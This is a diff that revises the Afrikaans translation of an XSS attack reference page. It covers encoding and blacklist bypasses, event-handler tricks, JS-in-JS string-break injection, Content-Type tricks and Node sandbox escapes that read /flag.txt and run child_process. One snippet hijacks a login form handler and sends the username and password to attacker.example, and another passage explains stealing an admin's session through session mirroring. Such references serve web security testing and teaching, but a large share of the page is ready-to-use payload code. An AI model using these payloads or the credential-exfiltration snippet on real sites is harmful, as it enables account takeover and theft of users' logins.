+Jy kan **Hex** en **Octal encode** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML tags te skep wat JS uitvoer**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -380,12 +381,11 @@ Jy kan **Hex** en **Octal encode** binne die `src`-attribuut van `iframe` (ten m
 <svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
 <svg onload=javascript:'\141\154\145\162\164\50\61\51' />
 ```
-### Reverse tab nabbing
+### Omgekeerde tab nabbing
 ```javascript
 <a target="_blank" rel="opener"
 ```
-As jy enige URL in 'n willekeurige **`<a href=`** tag kan inprop wat die **`target="_blank" and rel="opener"`** attributes bevat, kyk na die **volgende bladsy om hierdie gedrag te misbruik**:
+As jy enige URL in 'n ewekansige **`<a href=`**-tag kan injekteer wat die **`target="_blank" and rel="opener"`**-attribuute bevat, kyk na die **volgende bladsy om hierdie gedrag te misbruik**:
-
 
 {{#ref}}
 ../reverse-tab-nabbing.md
@@ -393,7 +393,7 @@ As jy enige URL in 'n willekeurige **`<a href=`** tag kan inprop wat die **`targ
 
 ### on Event Handlers Bypass
 
-Eerstens, kyk na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
+Kyk eers na hierdie bladsy ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) vir nuttige **"on" event handlers**.\
 Indien daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
 ```javascript
 <svg onload%09=alert(1)> //No safari
@@ -409,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS in "Onuitbuitbare tags" (hidden input, link, canonical, meta)
+### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
 
 Van [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **is dit nou moontlik om hidden inputs te misbruik met:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
 ```
-En in **meta-etikette**:
+En in **meta tags**:
 ```html
 <!-- Injection inside meta attribute-->
 <meta
@@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Van [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload inside a hidden attribute** uitvoer, mits jy die **slagoffer** kan oorreed om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vektor:
+Vanaf [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload inside a hidden attribute** uitvoer, mits jy die **slachtoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox (Windows/Linux) is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vektor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**Die XSS payload sal iets soos volg wees: `" accesskey="x" onclick="alert(1)" x="`**
+**Die XSS payload sal iets soos die volgende wees: `" accesskey="x" onclick="alert(1)" x="`**
 
 ### Blacklist Bypasses
 
-Verskeie truuks met verskillende kodering is reeds in hierdie afdeling blootgelê. Gaan **terug om te leer waar jy dit kan gebruik:**
+Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgelê. Gaan **terug om te leer waar jy dit kan gebruik:**
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@@ -448,7 +448,7 @@ Verskeie truuks met verskillende kodering is reeds in hierdie afdeling blootgel
 
 **Bypasses for HTML tags and attributes**
 
-Lees die[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
+Lees die [Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
 **Bypasses for JavaScript code**
 
@@ -456,11 +456,11 @@ Lees die J[avaScript bypass blacklist of the following section](#javascript-bypa
 
 ### CSS-Gadgets
 
-As jy 'n **XSS in 'n baie klein deel** van die web vind wat 'n soort interaksie vereis (miskien 'n klein skakel in die footer met 'n onmouseover element), kan jy probeer om die **ruimte wat daardie element beset** te wysig om die kans te maksimeer dat die skakel geaktiveer word.
+As jy 'n **XSS in 'n baie klein deel** van die web vind wat 'n soort interaksie vereis (miskien 'n klein link in die footer met 'n onmouseover element), kan jy probeer om die **ruimte wat daardie element inneem te verander** om die waarskynlikheid dat die link geaktiveer word te maksimeer.
 
-Byvoorbeeld, jy kan stylering by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Byvoorbeeld, jy kan style by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Maar, as die WAF die style-attribuut filtreer, kan jy CSS Styling Gadgets gebruik, so as jy byvoorbeeld vind
+Maar, as die WAF die style attribute filter, kan jy CSS Styling Gadgets gebruik; as jy byvoorbeeld vind
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -468,7 +468,7 @@ en
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Nou kan jy ons skakel wysig en dit in die vorm bring
+Nou kan jy ons skakel wysig en dit in die volgende vorm bring
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
@@ -476,19 +476,19 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact-
 
 ## Injecting inside JavaScript code
 
-In hierdie geval sal jou **input** weerspieël word binne die JS code van 'n `.js` file of tussen `<script>...</script>` tags of tussen HTML events wat JS code kan uitvoer of tussen attribuutte wat die `javascript:` protocol aanvaar.
+In hierdie geval sal jou **input** weerspieël word binne die JS code van 'n `.js` file of tussen `<script>...</script>` tags of tussen HTML events wat JS code kan uitvoer of tussen attributes wat die `javascript:` protocol aanvaar.
 
-### Ontsnap \<script> tag
+### Escaping \<script> tag
 
-As jou code binne `<script> [...] var input = 'reflected data' [...] </script>` ingesit is, kan jy maklik die sluiting van die `<script>` tag **ontsnap**:
+As jou code ingevoeg is binne `<script> [...] var input = 'reflected data' [...] </script>` kan jy maklik die sluiting van die `<script>` tag **escape**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Let daarop dat ons in hierdie voorbeeld **nie eens die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-ontleding eers deur die blaaier uitgevoer word**, wat behels dat bladsyelemente geïdentifiseer word, insluitend blokke van script. Die ontleding van JavaScript om die ingeslote scripts te verstaan en uit te voer, word eers daarna uitgevoer.
+Neem kennis dat ons in hierdie voorbeeld **nie eers die enkele aanhalingsteken toegemaak het nie**. Dit is omdat **HTML parsing eers deur die browser uitgevoer word**, wat behels dat bladsy-elemente, insluitend blokke van script, geïdentifiseer word. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas.
 
-### Binne JS code
+### Binne JS-kode
 
-If `<>` are being sanitised you can still **ontsnap die string** waar jou inset **geplaas is** en **voer arbitrêre JS uit**. Dit is belangrik om die **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS code nie uitgevoer word nie:
+As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitrêre JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -496,25 +496,25 @@ If `<>` are being sanitised you can still **ontsnap die string** waar jou inset
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, inject code, en repair die syntax om parsing geldig te hou. Generiese geraamte:
+Wanneer gebruikersinvoer binne 'n quoted JavaScript string beland (e.g., server-side echo into an inline script), kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Voorbeeld URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
+Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
 ```
 ?param=test";<INJECTION>;a="
 ```
-Dit voer aanvaller JS uit sonder om die HTML-konteks te hoef aan te raak (pure JS-in-JS). Kombineer met blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer.
+Dit voer aanvaller-JS uit sonder om die HTML-konteks aan te raak (suiwer JS-in-JS). Kombineer dit met die swartlys-omseilings hieronder wanneer filters sleutelwoorde blokkeer.
 
 ### Template literals ``
 
-Om **strings** te konstrueer, benewens enkele en dubbele aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **ingeslote JS-uitdrukkings** te gebruik met `${ ... }` sintaksis.\
+Om **strings** te konstrueer, behalwe enkelle en dubbele aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **embedded JS expressions** te gebruik met die `${ ... }` sintaksis.\  
-Dus, as jy vind dat jou invoer **reflected** word binne 'n JS-string wat backticks gebruik, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
+Daarom, as jy vind dat jou invoer binne 'n JS string wat backticks gebruik **reflected** word, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer:
 
-Dit kan **abused** word met:
+Dit kan **misbruik** word deur:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -526,21 +526,21 @@ return loop
 }
 loop``
 ```
-### Encoded code execution
+### Gekodeerde kode-uitvoering
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Aflewerbare payloads met eval(atob()) en omvangsnuanses
+#### Aflewerbare payloads met eval(atob()) en scope-nuanses
 
-Om URLs korter te hou en eenvoudige sleutelwoordfilters te omseil, kan jy jou werklike logika base64-enkodeer en dit evalueer met `eval(atob('...'))`. As eenvoudige sleutelwoordfiltrering identifikatore soos `alert`, `eval`, of `atob` blokkeer, gebruik Unicode-gescapeerde identifikatore wat in die blaaier identies saamstel maar string-ooreenstemmingsfilters omseil:
+Om URLs korter te hou en naïewe sleutelwoordfilters te omseil, kan jy jou werklike logika in base64 enkodeer en dit evalueer met `eval(atob('...'))`. As eenvoudige sleutelwoordfiltrering identifiseerders soos `alert`, `eval`, of `atob` blokkeer, gebruik Unicode-escaped identifiseerders wat in die blaaier identies kompileer maar string-matching-filters omseil:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Belangrike nuansie oor scoping: `const`/`let` verklaar binne `eval()` is block-scoped en skep NIE globals nie; hulle sal nie deur later scripts toeganklik wees nie. Gebruik 'n dinamies ingespuite `<script>` element om globale, nie-herbindbare hooks te definieer wanneer nodig (bv., om te hijack 'n form handler):
+Belangrike nuans in skoping: `const`/`let` wat binne `eval()` verklaar word is slegs binne daardie blok beskikbaar en skep NIE globale veranderlikes nie; hulle sal nie deur later scripts toeganklik wees nie. Gebruik 'n dinamies ingespuitde `<script>`-element om globale, nie-herbindbare hooks te definieer wanneer nodig (bv. om 'n form handler te kaap):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@@ -548,13 +548,13 @@ document.head.appendChild(s);
 ```
 Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Unicode-enkodering van JS-uitvoering
+### Unicode-kodering van JS-uitvoering
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript bypass blacklists tegnieke
+### JavaScript tegnieke om swartlyste te omseil
 
 **Strings**
 ```javascript
@@ -573,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Spesiale ontsnappingsreekse**
+**Spesiale ontsnapreekse**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -587,7 +587,7 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**Spasievervangings in JS-kode**
+**Spasie-substitusies binne JS-kode**
 ```javascript
 <TAB>
 /**/
@@ -600,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript new lines (van** [**JavaScript new line**](#javascript-new-lines) **truuk)**
+**JavaScript nuwe reëls (van** [**JavaScript new line**](#javascript-new-lines) **truuk)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -612,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript spasiekarakters**
+**JavaScript witruimtes**
 ```javascript
 log=[];
 function funct(){}
@@ -715,7 +715,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Arbitrêre funksie (alert) oproep**
+**Ewekansige funksie-oproep (alert)**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -777,43 +777,45 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-Daar is **JS code** wat **onveilige data gebruik wat deur 'n attacker beheer word** soos `location.href`. 'n attacker kan dit misbruik om arbitrary JS code uit te voer.\
+Daar is **JS code** wat **onveilige data wat deur ’n aanvaller beheer word** gebruik, soos `location.href`. ’n Aanvaller kan dit misbruik om ewekansige JS-kode uit te voer.\
-**Weens die uitbreiding van die verduideliking van** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+**Weens die omvang van die verduideliking van** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Daar sal jy 'n gedetailleerde **verduideliking van wat DOM vulnerabilities is, hoe dit veroorsaak word, en hoe om dit te exploiteer** vind.\
+Daar sal jy ’n gedetailleerde **verduideliking van wat DOM vulnerabilities is, hoe hulle veroorsaak word, en hoe om hulle uit te buit** vind.\
-Ook, moenie vergeet dat **by die einde van die genoemde post** jy 'n verduideliking oor [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) kan vind.
+Ook, moenie vergeet dat **aan die einde van die genoemde pos** jy ’n verduideliking oor [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) kan vind.
 
-### Upgrading Self-XSS
+### Opgradering van Self-XSS
 
 ### Cookie XSS
 
-As jy 'n XSS kan trigger deur die payload in 'n cookie te stuur, is dit gewoonlik 'n self-XSS. As jy egter 'n **vulnerable subdomain to XSS** vind, kan jy hierdie XSS misbruik om 'n cookie in die hele domain te inject en sodoende die cookie XSS in die main domain of ander subdomains (diegene vatbaar vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
+As jy ’n XSS kan trigger deur die payload in ’n cookie te stuur, is dit gewoonlik ’n self-XSS. As jy egter ’n **kwesbare subdomein vir XSS** vind, kan jy hierdie XSS misbruik om ’n cookie in die hele domein in te spuit en sodoende die cookie XSS in die hoofdomein of ander subdomeine (dié wat vatbaar is vir cookie XSS) te trigger. Hiervoor kan jy die cookie tossing attack gebruik:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+Jy kan ’n goeie misbruik van hierdie tegniek vind in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Stuur jou session na die admin
+### Sending your session to the admin
 
-Miskien kan 'n user sy profile met die admin deel, en as die self XSS in die profile van die user is en die admin dit besoek, sal hy die vulnerabiliteit trigger.
+Miskien kan ’n gebruiker sy profiel met die admin deel, en as die self-XSS in die gebruiker se profiel voorkom en die admin dit oopmaak, sal hy die kwesbaarheid aktiveer.
 
 ### Session Mirroring
 
-Indien jy 'n self XSS vind en die webblad het 'n **session mirroring for administrators**, byvoorbeeld wat clients toelaat om hulp te vra en sodat die admin sien wat jy in jou session sien maar vanuit sy session, kan jy die **administrator laat trigger jou self XSS** en sy cookies/session steel.
+Indien jy ’n self-XSS vind en die webblad ’n **session mirroring for administrators** het — byvoorbeeld wat kliënte toelaat om hulp te vra en sodat die admin sien wat jy in jou sessie sien maar vanuit sy eie sessie — 
 
-## Ander Bypasses
+Jy kan die **administrator laat jou self XSS aktiveer** en sy cookies/sessie steel.
 
-### Normalised Unicode
+## Ander Omseilings
 
-Jy kan kyk of die **reflected values** op die server (of aan die client side) **unicode normalized** word en hierdie funksionaliteit misbruik om protections te bypass. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+### Genormaliseerde Unicode
+
+Jy kan nagaan of die **reflected values** op die bediener (of aan die kliëntkant) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskermings te omseil. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -821,8 +823,8 @@ Jy kan kyk of die **reflected values** op die server (of aan die client side) **
 ```
 ### Ruby-On-Rails bypass
 
-Vanweë **RoR mass assignment** word aanhalingstekens in die HTML ingevoeg en word die aanhalingsbeperking omseil en aanvullende velde (onfocus) binne die tag bygevoeg kan word.\
+As gevolg van **RoR mass assignment** word aanhalingstekens in die HTML ingevoeg en word die aanhalingstekenbeperking omseil, sodat bykomende velde (onfocus) binne die tag bygevoeg kan word.\
-Formuliervoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die payload stuur:
+Voorbeeld van 'n vorm ([from this report](https://hackerone.com/reports/709336)), as jy die payload stuur:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
@@ -830,7 +832,7 @@ Die paar "Key","Value" sal soos volg teruggegee word:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind.
+Dan sal die onfocus-attribuut ingevoeg word en XSS sal plaasvind.
 
 ### Spesiale kombinasies
 ```html
@@ -864,14 +866,14 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS with header injection in a 302 response
 
-As jy vind dat jy **inject headers in a 302 Redirect response** kan, kan jy probeer om die **browser arbitrary JavaScript** te laat uitvoer. Dit is **nie eenvoudig** nie aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code `302` is nie, so net 'n cross-site scripting payload is nutteloos.
+As jy vind dat jy kan **inject headers in a 302 Redirect response** kan jy probeer om **make the browser execute arbitrary JavaScript**. Dit is **nie triviaal nie** aangesien moderne browsers nie die HTTP response body interpreteer as die HTTP response status code `302` is nie, so net 'n cross-site scripting payload is nutteloos.
 
-In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle in die Location header kan toets en kyk of enige van hulle die browser toelaat om die XSS payload in die body te inspecteer en uit te voer.\
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location header kan toets en kyk of enige van hulle die browser toelaat om die XSS payload binne die body te inspekteer en uit te voer.\
-Voorheen bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location header_, `resource://`.
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Location header_, `resource://`.
 
-### Slegs Letters, Syfers en Punte
+### Only Letters, Numbers and Dots
 
-As jy in staat is om die **callback** aan te dui wat javascript gaan **execute**, beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie berig**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik.
+As jy die **callback** kan aandui wat javascript gaan **execute**, beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te sien hoe om hierdie gedrag te misbruik.
 
 ### Valid `<script>` Content-Types to XSS
 
@@ -879,7 +881,7 @@ As jy in staat is om die **callback** aan te dui wat javascript gaan **execute**
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Die enigste **Content-Type**s wat Chrome sal ondersteun om 'n **loaded script** uit te voer is dié wat binne die const **`kSupportedJavascriptTypes`** in [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) voorkom.
+The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -909,8 +911,8 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 Die antwoord is:
 
-- **module** (default, niks om te verduidelik nie)
+- **module** (standaard, niks om te verduidelik)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n funksie wat jou toelaat om 'n verskeidenheid data (HTML, CSS, JS…) saam in 'n **`.wbn`**-lêer te pak.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n funksie waarmee jy 'n klomp data (HTML, CSS, JS…) saam in 'n **`.wbn`** lêer kan verpak.
 ```html
 <script type="webbundle">
 {
@@ -937,9 +939,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek na eval te remap om dit te misbruik en XSS te veroorsaak.
+Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek na eval te herlei en dit misbruik om XSS te veroorsaak.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie funksie is hoofsaaklik bedoel om 'n paar probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie funksie is hoofsaaklik bedoel om sommige probleme wat deur pre-rendering veroorsaak word, op te los. Dit werk soos volg:
 ```html
 <script type="speculationrules">
 {
@@ -955,24 +957,24 @@ Hierdie gedrag is gebruik in [**this writeup**](https://github.com/zwade/yaca/tr
 }
 </script>
 ```
-### Web Content-tipes vir XSS
+### Web Content-Types na XSS
 
-(Van [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende content-tipes kan XSS in alle blaaiers uitvoer:
+(Vanaf [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende Content-Types kan XSS in alle browsers uitvoer:
 
 - text/html
 - application/xhtml+xml
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? nie in die lys nie maar ek dink ek het dit in 'n CTF gesien)
+- text/plain (?? not in the list but I think I saw this in a CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-In ander blaaiers kan ander **`Content-Types`** gebruik word om arbitrêre JS uit te voer, sien: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+In ander browsers kan ander **`Content-Types`** gebruik word om willekeurige JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml Inhoudstipe
+### xml Content Type
 
-As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespace aan te dui en arbitrêre JS uit te voer:
+As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -982,11 +984,11 @@ As die bladsy 'n text/xml content-type terugstuur, is dit moontlik om 'n namespa
 ```
 ### Spesiale Vervangingspatrone
 
-Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om sekere beskermings te probeer omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word, kan die aanvaller [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) gebruik om sekere beskermings te omseil: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string te ontsnap** binne 'n script en arbitrêre kode uit te voer.
+Byvoorbeeld in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om **'n JSON-string te ontsnap** binne 'n script en enige kode uit te voer.
 
-### Chrome Cache na XSS
+### Chrome Cache to XSS
 
 
 {{#ref}}
@@ -1026,22 +1028,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-As **alles is undefined** voordat onbetroubare kode uitgevoer word (soos in [**hierdie writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) is dit moontlik om nuttige objekte "uit die niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
+As **alles ongedefinieer** is voordat onbetroubare kode uitgevoer word (soos in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), is dit moontlik om nuttige objekte "uit niks" te genereer om die uitvoering van arbitrêre onbetroubare kode te misbruik:
 
 - Deur import() te gebruik
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Toegang tot `require` indirek
+- Indirek toegang tot `require`
 
-[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie toegedraai, soos volg:
+[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules word deur Node.js in 'n funksie ingepak, soos volg:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Dus, as ons vanaf daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` vanaf daardie funksie te gebruik om toegang tot **`require`** te kry:
+Daarom, as ons van daardie module af **'n ander funksie kan oproep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om toegang tot **`require`** te kry:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1050,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Op 'n soortgelyke wyse as die vorige voorbeeld is dit moontlik om **use error handlers** te gebruik om toegang tot die **wrapper** van die module te kry en die **`require`** funksie te verkry:
+Op 'n soortgelyke wyse as die vorige voorbeeld, is dit moontlik om **use error handlers** te gebruik om toegang tot die **wrapper** van die module te kry en die **`require`** funksie te bekom:
 ```javascript
 try {
 null.f()
@@ -1088,9 +1090,9 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### Obfuskering & Gevorderde Omseiling
+### Obskurering & Gevorderde Omseiling
 
-- **Verskillende obfuskeringe op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
